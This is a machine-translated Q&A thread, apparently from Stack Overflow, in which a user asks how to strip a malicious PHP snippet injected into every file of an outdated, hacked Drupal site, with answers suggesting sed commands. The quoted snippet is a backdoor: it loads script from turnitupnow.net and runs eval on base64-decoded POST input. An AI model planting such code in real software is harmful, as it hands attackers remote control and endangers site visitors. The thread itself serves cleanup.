2012-02-16 37 views
23

我被運行一個非常過時的Drupal安裝(可恥的是我)sed的,取代第一線

他們似乎注入每.php文件中的以下砍死;

<?php global $sessdt_o; if(!$sessdt_o) { 
    $sessdt_o = 1; $sessdt_k = "lb11"; 
    if([email protected]$_COOKIE[$sessdt_k]) { 
    $sessdt_f = "102"; 
    if([email protected]_sent()) { @setcookie($sessdt_k,$sessdt_f); } 
    else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } 
    } 
    else { 
    if($_COOKIE[$sessdt_k]=="102") { 
    $sessdt_f = (rand(1000,9000)+1); 
    if([email protected]_sent()) { 
     @setcookie($sessdt_k,$sessdt_f); } 
    else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } 
    sessdt_j = @$_SERVER["HTTP_HOST"][email protected]$_SERVER["REQUEST_URI"]; 
    $sessdt_v = urlencode(strrev($sessdt_j)); 
    $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); 
    echo "<script src='$sessdt_u'></script>"; 
    echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; 
    } 
    } 
    $sessdt_p = "showimg"; 
    if(isset($_POST[$sessdt_p])){ 
    eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p]))); 
    exit; 
    } 
    } 

我可以刪除並用sed替換它嗎?例如:

find . -name *.php | xargs ... 

我希望網站能夠暫時使用wget並創建一個靜態副本。

+0

我想這是一個有點晚,但對於任何可能處於相同情況的人員:切勿嘗試修復被黑客入侵的系統。唯一的解決方案是從頭重新安裝,只複製手動驗證的配置文件和數據庫轉儲。 – Dunatotatos 2017-02-22 07:44:30

回答

52

您可以使用sed喜歡的東西

sed '1 s/^.*$/<?php/' 

1部分只替換第一行。然後,感謝s命令,它將整行替換爲<?php

要在原地修改文件,請使用GNU sed-i選項。

+1

我想你會想把它改成像'<! - '雖然! – tripleee 2012-02-16 11:12:38

1

要替換文件的第一行,則可以使用c(爲「改變」)的sed命令:

sed '1c<?php' 

它轉換爲:「在第1行,替換模式空間與<?php 」。

對於這個特定的問題,但是,這樣的事情可能會工作:

sed '1,/^$/c<?php' 

曰:更改範圍「1號線第一個空行」,以<?php,從而取代所有注入的代碼。

(地址(正則表達式/^$/的第二部分)應與實際上劃定注入的代碼,如果它不是一個空行的表達式來代替。)